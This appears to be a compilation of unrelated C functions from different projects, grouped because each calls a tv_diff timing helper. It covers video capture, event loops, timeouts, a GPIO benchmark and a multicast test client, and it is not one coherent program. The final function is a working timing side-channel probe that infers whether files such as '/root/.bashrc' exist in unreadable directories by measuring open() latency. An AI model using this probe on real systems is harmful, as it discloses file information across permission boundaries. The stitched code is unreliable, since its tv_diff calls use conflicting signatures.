static int display_deltacast_putf(void *state, struct video_frame *frame, int nonblock) { struct state_deltacast *s = (struct state_deltacast *)state; struct timeval tv; int i; ULONG Result; UNUSED(frame); UNUSED(nonblock); assert(s->magic == DELTACAST_MAGIC); pthread_mutex_lock(&s->lock); if(s->play_audio && s->audio_configured) { /* Retrieve the number of needed samples */ for(i = 0; i < s->audio_desc.ch_count; ++i) { s->AudioInfo.pAudioGroups[i / 4].pAudioChannels[i % 4].DataSize = 0; } Result = VHD_SlotEmbedAudio(s->SlotHandle,&s->AudioInfo); if (Result != VHDERR_BUFFERTOOSMALL) { fprintf(stderr, "[DELTACAST] ERROR : Cannot embed audio on TX0 stream. Result = 0x%08X\n",Result); } else { for(i = 0; i < s->audio_desc.ch_count; ++i) { int ret; ret = ring_buffer_read(s->audio_channels[i], (char *) s->AudioInfo.pAudioGroups[i / 4].pAudioChannels[i % 4].pData, s->AudioInfo.pAudioGroups[i / 4].pAudioChannels[i % 4].DataSize); if(!ret) { fprintf(stderr, "[DELTACAST] Buffer underflow for channel %d.\n", i); } s->AudioInfo.pAudioGroups[0].pAudioChannels[0].DataSize = ret; } } /* Embed audio */ Result = VHD_SlotEmbedAudio(s->SlotHandle,&s->AudioInfo); if (Result != VHDERR_NOERROR) { fprintf(stderr, "[DELTACAST] ERROR : Cannot embed audio on TX0 stream. Result = 0x%08X\n",Result); } } pthread_mutex_unlock(&s->lock); VHD_UnlockSlotHandle(s->SlotHandle); s->SlotHandle = NULL; gettimeofday(&tv, NULL); double seconds = tv_diff(tv, s->tv); if (seconds > 5) { double fps = s->frames / seconds; log_msg(LOG_LEVEL_INFO, "[DELTACAST display] %lu frames in %g seconds = %g FPS\n", s->frames, seconds, fps); s->tv = tv; s->frames = 0; } s->frames++; return 0; }
static int uloop_get_next_timeout(struct timeval *tv) { int diff; if (!first_timeout) return -1; diff = tv_diff(&first_timeout->time, tv); if (diff < 0) return 0; return diff; }
static void display_sage_run(void *arg) { struct state_sage *s = (struct state_sage *)arg; s->magic = MAGIC_SAGE; while (!s->should_exit) { display_sage_handle_events(); sem_wait(&s->semaphore); if (s->should_exit) break; if (s->deinterlace) { vc_deinterlace((unsigned char *) s->tile->data, vc_get_linesize(s->tile->width, s->frame->color_spec), s->tile->height); } s->sage_state->swapBuffer(SAGE_NON_BLOCKING); sageMessage msg; if (s->sage_state->checkMsg(msg, false) > 0) { switch (msg.getCode()) { case APP_QUIT: sage::printLog("Ultragrid: QUIT message"); exit_uv(1); break; } } s->tile->data = (char *) s->sage_state->getBuffer(); pthread_mutex_lock(&s->buffer_writable_lock); s->buffer_writable = 1; if(s->grab_waiting) { pthread_cond_broadcast(&s->buffer_writable_cond); } pthread_mutex_unlock(&s->buffer_writable_lock); s->frames++; gettimeofday(&s->t, NULL); double seconds = tv_diff(s->t, s->t0); if (seconds >= 5) { float fps = s->frames / seconds; log_msg(LOG_LEVEL_INFO, "[SAGE] %d frames in %g seconds = %g FPS\n", s->frames, seconds, fps); s->t0 = s->t; s->frames = 0; } } }
void crono_measure (crono_t *cr, struct timeval *result) { struct timeval now; assert (cr != NULL); assert (result != NULL); gettime (&now); tv_diff (&(cr->cr_elapsed), &now, &(cr->cr_start)); crono_read (cr, result); }
static void uloop_process_timeouts(struct timeval *tv) { struct uloop_timeout *timeout; while (first_timeout) { if (tv_diff(&first_timeout->time, tv) > 0) break; timeout = first_timeout; uloop_timeout_cancel(timeout); if (timeout->cb) timeout->cb(timeout); } }
uint32_t get_local_mediatime(void) { static struct timeval start_time; static uint32_t random_offset; static int first = 0; struct timeval curr_time; if (first == 0) { gettimeofday(&start_time, NULL); random_offset = lbl_random(); first = 1; } gettimeofday(&curr_time, NULL); return (tv_diff(curr_time, start_time) * 90000) + random_offset; }
static pascal OSErr qt_data_proc(SGChannel c, Ptr p, long len, long *offset, long chRefCon, TimeValue time, short writeType, long refCon) { struct qt_grabber_state *s = (struct qt_grabber_state *)refCon; struct timeval t; UNUSED(offset); UNUSED(chRefCon); UNUSED(time); if (s == NULL) { debug_msg("corrupt state\n"); return -1; } if(c == s->video_channel) { memcpy(s->vbuffer[s->grab_buf_idx], p, len); s->sg_idle_enough = 1; s->frames++; gettimeofday(&t, NULL); double seconds = tv_diff(t, s->t0); if (seconds >= 5) { float fps = s->frames / seconds; fprintf(stderr, "[QuickTime cap.] %d frames in %g seconds = %g FPS\n", s->frames, seconds, fps); s->t0 = t; s->frames = 0; } } else if(c == s->audio_channel) { switch(writeType) { case seqGrabWriteReserve: break; case seqGrabWriteFill: memcpy(s->abuffer[s->grab_buf_idx] + s->abuffer_len, p, len); s->abuffer_len += len; break; case seqGrabWriteAppend: break; } } return 0; }
bool tmout_left (timeout_t handle, struct timeval *result) { struct timeval elapsed; struct timeval left; struct timeout *tmout; assert (is_valid_handle (handle)); tmout = &(table_[handle]); crono_measure (&(tmout->to_crono), &elapsed); tv_diff (&left, &(tmout->to_maxval), &elapsed); if (result) memcpy (result, &left, sizeof(*result)); if (tv_cmp (&left, &time_0ms) <= 0) return FALSE; return TRUE; }
static void async_process_heartbeat( void ) { /* check to see whether we need to send a heartbeat */ gettimeofday(&time_now, NULL); if (tv_diff(&time_now, &time_lastalive) >= HEARTRATE) { /* * if we've not booted then don't do send a heartrate the link * must be reliable enough for us to boot without any clever stuff, * if we can't do this then theres little chance of the link staying * together even with the resends etc */ if (heartbeat_enabled) { gettimeofday(&time_lastalive, NULL); pacemaker(); } } }
int tv_cmp (const struct timeval *tv_1, const struct timeval *tv_2) { int result; struct timeval diff; assert (tv_1 != NULL); assert (tv_2 != NULL); /* if (verbose) { printf ("tv_cmp: "); tv_print (tv_1); printf (" vs. "); tv_print (tv_2); } */ tv_diff (&diff, tv_1, tv_2); assert (diff.tv_usec >= 0); if (diff.tv_sec == 0) { if (diff.tv_usec == 0) result = 0; else result = 1; } else if (diff.tv_sec > 0) result = 1; else result = -1; /* if (verbose) printf (" %d\n", result); */ return result; }
int main() { struct timespec first, second, third, fourth; for (int i = 0; i < 5; ++i) { /* Enable and configure XIO-P0 as input. */ int export_fd = open("/sys/class/gpio/export", O_WRONLY); ECHK(export_fd != -1); /* If port 6 is already exported, the following will fail. That's OK, but warn. */ int wlen = write(export_fd, "132", 4); WCHK(wlen == 4); close(export_fd); int dir_fd = open("/sys/class/gpio/gpio132/direction", O_RDWR); ECHK(dir_fd != -1); wlen = write(dir_fd, "in", 3); ECHK(wlen == 3); close(dir_fd); int in_val_fd = open("/sys/class/gpio/gpio132/value", O_RDWR); ECHK(in_val_fd != -1); /* Enable and configure XIO-P1 as output. */ export_fd = open("/sys/class/gpio/export", O_WRONLY); ECHK(export_fd != -1); /* If port 5 is already exported, the following will fail. That's OK, but warn. */ wlen = write(export_fd, "133", 4); WCHK(wlen == 4); close(export_fd); dir_fd = open("/sys/class/gpio/gpio133/direction", O_RDWR); ECHK(dir_fd != -1); wlen = write(dir_fd, "out", 4); ECHK(wlen == 4); close(dir_fd); int out_val_fd = open("/sys/class/gpio/gpio133/value", O_RDWR); ECHK(out_val_fd != -1); sleep(1); /* Get chip out of low-power mode */ for (int j = 0; j < 100000000; j++) ++vol_int; char readbuf[99] = ""; int st; st = clock_gettime(CLOCK_MONOTONIC, &first); ECHK(st == 0); for (int j = 0; j < 10000; ++j) { st = lseek(in_val_fd, 0, SEEK_SET); ECHK(st == 0); } st = clock_gettime(CLOCK_MONOTONIC, &second); ECHK(st == 0); for (int j = 0; j < 10000; ++j) { st = lseek(in_val_fd, 0, SEEK_SET); ECHK(st == 0); int rlen = read(in_val_fd, readbuf, sizeof(readbuf)); ECHK(rlen > 0); } st = clock_gettime(CLOCK_MONOTONIC, &third); ECHK(st == 0); for (int j = 0; j < 5000; ++j) { wlen = write(out_val_fd, "1", 2); ECHK(wlen == 2); wlen = write(out_val_fd, "0", 2); ECHK(wlen == 2); } st = clock_gettime(CLOCK_MONOTONIC, &fourth); ECHK(st == 0); printf("lseek out: %lf us\n", 1000000/10000 * tv_diff(&first, &second)); printf("lseek/read in: %lf us\n", 1000000/10000 * tv_diff(&second, &third)); printf("write out: %lf us\n", 1000000/10000 * tv_diff(&third, &fourth)); close(out_val_fd); close(in_val_fd); /* Release XIO-P0 */ export_fd = open("/sys/class/gpio/unexport", O_WRONLY); ECHK(export_fd != -1); wlen = write(export_fd, "132", 4); ECHK(wlen == 4); close(export_fd); dir_fd = open("/sys/class/gpio/gpio133/direction", O_RDWR); ECHK(dir_fd != -1); wlen = write(dir_fd, "in", 3); ECHK(wlen == 3); close(dir_fd); /* Release XIO-P1 */ export_fd = open("/sys/class/gpio/unexport", O_WRONLY); ECHK(export_fd != -1); wlen = write(export_fd, "133", 4); ECHK(wlen == 4); close(export_fd); } /* for i */ printf("Now exiting\n"); return 0; } /* main */
static struct video_frame * vidcap_v4l2_grab(void *state, struct audio_frame **audio) { struct vidcap_v4l2_state *s = (struct vidcap_v4l2_state *) state; struct video_frame *out; *audio = NULL; struct v4l2_buffer buf; memset(&buf, 0, sizeof(buf)); buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; buf.memory = V4L2_MEMORY_MMAP; if(ioctl(s->fd, VIDIOC_DQBUF, &buf) != 0) { perror("Unable to dequeue buffer"); return NULL; }; out = vf_alloc_desc(s->desc); out->dispose = vidcap_v4l2_dispose_video_frame; if(!s->conversion_needed) { struct v4l2_dispose_deq_buffer_data *frame_data = malloc(sizeof(struct v4l2_dispose_deq_buffer_data)); frame_data->fd = s->fd; memcpy(&frame_data->buf, &buf, sizeof(buf)); out->tiles[0].data = s->buffers[frame_data->buf.index].start; out->tiles[0].data_len = frame_data->buf.bytesused; out->dispose_udata = frame_data; } else { out->dispose_udata = NULL; out->tiles[0].data = (char *) malloc(out->tiles[0].data_len); int ret = v4lconvert_convert(s->convert, &s->src_fmt, /* in */ &s->dst_fmt, /* in */ s->buffers[buf.index].start, buf.bytesused, (unsigned char *) out->tiles[0].data, out->tiles[0].data_len); // we do not need the driver buffer any more if (ioctl(s->fd, VIDIOC_QBUF, &buf) != 0) { perror("Unable to enqueue buffer"); }; if(ret == -1) { fprintf(stderr, "Error converting video.\n"); VIDEO_FRAME_DISPOSE(out); return NULL; } out->tiles[0].data_len = ret; } s->frames++; struct timeval t; gettimeofday(&t, NULL); double seconds = tv_diff(t, s->t0); if (seconds >= 5) { float fps = s->frames / seconds; log_msg(LOG_LEVEL_INFO, "[V4L2 capture] %d frames in %g seconds = %g FPS\n", s->frames, seconds, fps); s->t0 = t; s->frames = 0; } return out; }
static struct video_frame * vidcap_aggregate_grab(void *state, struct audio_frame **audio) { struct vidcap_aggregate_state *s = (struct vidcap_aggregate_state *) state; struct audio_frame *audio_frame = NULL; struct video_frame *frame = NULL; for (int i = 0; i < s->devices_cnt; ++i) { VIDEO_FRAME_DISPOSE(s->captured_frames[i]); } *audio = NULL; for (int i = 0; i < s->devices_cnt; ++i) { frame = NULL; while(!frame) { frame = vidcap_grab(s->devices[i], &audio_frame); } if (i == 0) { s->frame->color_spec = frame->color_spec; s->frame->interlacing = frame->interlacing; s->frame->fps = frame->fps; } if (s->audio_source_index == -1 && audio_frame != NULL) { fprintf(stderr, "[aggregate] Locking device #%d as an audio source.\n", i); s->audio_source_index = i; } if (s->audio_source_index == i) { *audio = audio_frame; } if (frame->color_spec != s->frame->color_spec || frame->fps != s->frame->fps || frame->interlacing != s->frame->interlacing) { fprintf(stderr, "[aggregate] Different format detected: "); if(frame->color_spec != s->frame->color_spec) fprintf(stderr, "codec"); if(frame->interlacing != s->frame->interlacing) fprintf(stderr, "interlacing"); if(frame->fps != s->frame->fps) fprintf(stderr, "FPS (%.2f and %.2f)", frame->fps, s->frame->fps); fprintf(stderr, "\n"); return NULL; } vf_get_tile(s->frame, i)->width = vf_get_tile(frame, 0)->width; vf_get_tile(s->frame, i)->height = vf_get_tile(frame, 0)->height; vf_get_tile(s->frame, i)->data_len = vf_get_tile(frame, 0)->data_len; vf_get_tile(s->frame, i)->data = vf_get_tile(frame, 0)->data; s->captured_frames[i] = frame; } s->frames++; gettimeofday(&s->t, NULL); double seconds = tv_diff(s->t, s->t0); if (seconds >= 5) { float fps = s->frames / seconds; log_msg(LOG_LEVEL_INFO, "[aggregate cap.] %d frames in %g seconds = %g FPS\n", s->frames, seconds, fps); s->t0 = s->t; s->frames = 0; } return s->frame; }
int main(int argc, char **argv) { char host_name[MAXHOSTNAMELEN+1]; char host_addr[MAXHOSTNAMELEN+1]; char master_host_name[MAXHOSTNAMELEN+1]; char group_address[MAXHOSTNAMELEN+1]; short port; int num_bursts; int num_messages_per_burst; int node_id; int argNb=1; strcpy(host_name, argv[argNb++]); strcpy(host_addr, argv[argNb++]); node_id = atoi(argv[argNb++]); strcpy(master_host_name, argv[argNb++]); strcpy(group_address, argv[argNb++]); port = atoi(argv[argNb++]); num_bursts = atoi(argv[argNb++]); num_messages_per_burst = atoi(argv[argNb++]); request_size = atoi(argv[argNb++]); double rate = atof(argv[argNb++]); // rate represents desired rate in req/s const double delay = 1/rate; const long delay_ns = (long)(delay*1e9); fprintf(stderr, "******************************\n* multicast test\n****************************************\n"); fprintf(stderr, "Data is:\n* hostname = %s\n* node_id = %d\n* master_host_name = %s\n* group address = %s\n* port = %d\n* num_bursts = %d\n* msgs per burst = %d\n* request size = %d\n* rate = %g\n", host_name, node_id, master_host_name, group_address, port, num_bursts, num_messages_per_burst, request_size, rate); char hname[MAXHOSTNAMELEN]; gethostname(hname, MAXHOSTNAMELEN); struct sockaddr_in gaddr; bzero(&gaddr, sizeof(gaddr)); gaddr.sin_family = AF_INET; gaddr.sin_addr.s_addr = inet_addr(group_address); gaddr.sin_port = htons(port); sa_group_address = (struct sockaddr*)&gaddr; // Initialize socket. sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); int flag_on = 1; /* set reuse port to on to allow multiple binds per host */ if ((setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &flag_on, sizeof(flag_on))) < 0) { perror("setsockopt() failed"); exit(1); } struct in_addr laddr; laddr.s_addr = inet_addr(host_addr); if ((setsockopt(sock, IPPROTO_IP, IP_MULTICAST_IF, &laddr, sizeof(laddr))) < 0) { perror("setsockopt() failed for binding multicast to interface"); exit(1); } int error = bind(sock, (struct sockaddr*)&gaddr, sizeof(gaddr)); if (error < 0) { perror("Unable to name socket"); exit(1); } // explicitely enable loopback unsigned char loop = 1; if ((setsockopt(sock, IPPROTO_IP, IP_MULTICAST_LOOP, &loop, sizeof(loop))) < 0) { perror("setsockopt() failed for enabling loop"); exit(1); } // Set TTL larger than 1 to enable multicast across routers. unsigned char i = 20; if ((setsockopt(sock, IPPROTO_IP, IP_MULTICAST_TTL, (char *)&i, sizeof(i))) < 0) { perror("unable to change TTL value"); exit(1); } struct ip_mreq multicast_req; multicast_req.imr_multiaddr.s_addr = inet_addr(group_address); multicast_req.imr_interface.s_addr = inet_addr(host_addr); if ((setsockopt(sock, IPPROTO_IP, IP_ADD_MEMBERSHIP, (char *) &multicast_req, sizeof(multicast_req))) < 0) { perror("Unable to join group"); exit(1); } // Create socket to communicate with manager int manager; if ((manager = socket(AF_INET, SOCK_STREAM, 0)) == -1) { th_fail("Could not create socket"); } // Fill-in manager address Address desta; bzero((char *)&desta, sizeof(desta)); struct hostent *hent = gethostbyname(master_host_name); if (hent == 0) { th_fail("Could not get hostent"); } // desta.sin_addr.s_addr = inet_addr("192.168.20.6"); // sci6 desta.sin_addr.s_addr = ((struct in_addr*)hent->h_addr_list[0])->s_addr; desta.sin_family = AF_INET; desta.sin_port = htons(MANAGER_PORT); if (connect(manager, (struct sockaddr *) &desta, sizeof(desta)) == -1) { th_fail("Could not connect name to socket"); } thr_command out, in; pthread_t requests_from_others_thread; if (pthread_create(&requests_from_others_thread, 0, &requests_from_others, host_name) != 0) { fprintf(stderr, "Failed to create the thread for receiving messages from other replicas\n"); exit(1); } // Tell manager we are up if (send(manager, &out, sizeof(out), 0) < sizeof(out)) { fprintf(stderr, "Problem with send to manager\n"); exit(-1); } fprintf(stderr, "Starting the bursts (num_bursts = %d)\n", num_bursts); int req_cnt = 0; mcast_req *req = (mcast_req*)malloc(request_size); req->type = 0xdeadbeef; req->id = req_cnt; req->node_id = node_id; req->size = request_size; req->payload = req->size - sizeof(mcast_req); fprintf(stderr,"\n"); for (i = 0; i < num_bursts; i++) { char *data = (char*)∈ int ssize = sizeof(in); int ret = 0; while (ssize) { ret = recv(manager, data, ssize, MSG_WAITALL); if (ret == -1 && (errno == EAGAIN || errno == EWOULDBLOCK || errno == EINTR)) { continue; } else if (ret < 0) { fprintf(stderr, "Error receiving msg from manager\n"); perror(NULL); exit(1); } ssize -= ret; data += ret; } fprintf(stderr, "Starting burst #%d\n", i); //char a=getchar(); // Loop invoking requests // int j=0; // while(true){ // j++ int s = 0; /*s = in.num_iter;*/ int j; struct timespec ts_obt; struct timespec ts_fire; struct timeval tv; gettimeofday(&tv, NULL); for (j = s; j < num_messages_per_burst; j++) { /*fprintf(stderr, "Send a new message\n");*/ int retval = 0; int len = 0; req->id = req_cnt++; if (j == s) { clock_gettime(CLOCK_REALTIME, &ts_obt); } retval = mcast_send(req, &len); if (retval == -1) { fprintf(stderr, "multicast_replica: problem invoking request\n"); } else { /*fprintf(stderr, "Sent one\n");*/ if (j%1000 == 0) fprintf(stderr, "."); } { struct timespec ts_remain; ts_fire.tv_sec = ts_obt.tv_sec; ts_fire.tv_nsec = ts_obt.tv_nsec + delay_ns; while (ts_fire.tv_nsec >= 1000000000) { ts_fire.tv_nsec -= 1000000000; ts_fire.tv_sec += 1; } if (clock_nanosleep(CLOCK_REALTIME, TIMER_ABSTIME, &ts_fire, &ts_remain) == -1 && errno == EINTR) { struct timespec ts_rem = ts_remain; while (clock_nanosleep(CLOCK_REALTIME, 0, &ts_remain, &ts_rem)==-1 && errno == EINTR) { ts_remain = ts_rem; } } ts_obt = ts_fire; } } fprintf(stderr,"\n"); struct timeval tv_end; gettimeofday(&tv_end, NULL); struct timeval timediff; timediff = tv_diff(tv_end, tv); fprintf(stderr, "[Node %s] Finished burst %d: total time %d s, %d us\n", host_name, i, timediff.tv_sec, timediff.tv_usec); // out.num_iter = num_messages_per_burst; if (send(manager, &out, sizeof(out), 0) <= 0) { fprintf(stderr, "Sendto failed"); exit(-1); } } free(req); error = setsockopt(sock, IPPROTO_IP, IP_DROP_MEMBERSHIP, (char *) &multicast_req, sizeof(multicast_req)); shutdown(manager, SHUT_RDWR); close(manager); sleep(4); do_run = 0; sleep(1); /*pthread_kill(requests_from_others_thread, SIGINT);*/ /*pthread_join(requests_from_others_thread, NULL);*/ fprintf(stderr, "[Node %s] received a total of %ld requests\n", host_name, received_total); fprintf(stderr, "Client exiting\n"); return 0; }
int main(int argc, char **argv) { struct timeval tv_a, tv_b; int fd_a, fd_b; char buf_a[500], buf_b[500]; unsigned int success, n, failure; atexit(cleanup); printf("[+] creating unreachable\n"); if(mkdir("unreachable", 0700)==-1) { printf("\t[-] Unable to create unreachable\n"); exit(EXIT_FAILURE); } printf("[+] creating unreachable/iexist\n"); if((fd_a = creat("unreachable/iexist", 0700))==-1) { printf("\t[-] Unable to create unreachable/iexist\n"); exit(EXIT_FAILURE); } close(fd_a); printf("[+] chmod 0'ing unreachable\n"); if(chmod("unreachable", 00)==-1) { printf("\t[-] Unable to chmod unreachable\n"); exit(EXIT_FAILURE); } printf("[+] "); fflush(stdout); system("ls -alF | grep unreachable"); printf("[+] Timing open() on unreachable/iexist\n"); /* fd_a = open("unreachable/exists", flags); close(fd_a); */ gettimeofday(&tv_a, NULL); fd_a = open("unreachable/exists", flags); gettimeofday(&tv_b, NULL); printf("\t[+] Successful: %ld usecs, got %m\n", (success = tv_diff(&tv_b, &tv_a))); close(fd_a); printf("[+] Timing open() on unreachable/non-existant\n"); /* fd_b = open("unreachable/non-existant", flags); close(fd_b); */ gettimeofday(&tv_a, NULL); fd_b = open("unreachable/non-existant", flags); gettimeofday(&tv_b, NULL); printf("\t[+] Failure: %ld usecs, got %m\n", (failure = tv_diff(&tv_b, &tv_a))); close(fd_b); success += tv_diff(&tv_b, &tv_a); success /= 3; // success -= 2; if(failure > success || success > (failure*8) ) { printf("[-] It appears the load went up unexpectadly, mebe try re-running?\n"); exit(EXIT_FAILURE); } /* tweak the success value */ if((failure*4) >= success) success--; if(success <= (failure*3)) success++; printf("\t[+] Using %d as our cutoff.\n", success); printf("[+] testing /root/.bashrc and /root/non-existant\n"); /* fd_a = open("/root/.bashrc", flags); close(fd_a); */ gettimeofday(&tv_a, NULL); fd_a = open("/root/.bashrc", flags); gettimeofday(&tv_b, NULL); if((n = tv_diff(&tv_b, &tv_a)) >= success) { printf("\t[+] /root/.bashrc exists (%d usecs), got %m\n", n); } else { printf("\t[+] /root/.bashrc doesn't exist (%d usecs), got %m\n", n); } close(fd_a); /* fd_b = open("/root/non-existant", flags); close(fd_b); */ gettimeofday(&tv_a, NULL); fd_b = open("/root/non-existant", flags); gettimeofday(&tv_b, NULL); if((n = tv_diff(&tv_b, &tv_a)) >= success) { printf("\t[+] /root/non-existant exists (%d usecs), got %m\n", n); } else { printf("\t[+] /root/non-existant doesn't exist (%d usecs), got %m\n", n); } close(fd_b); }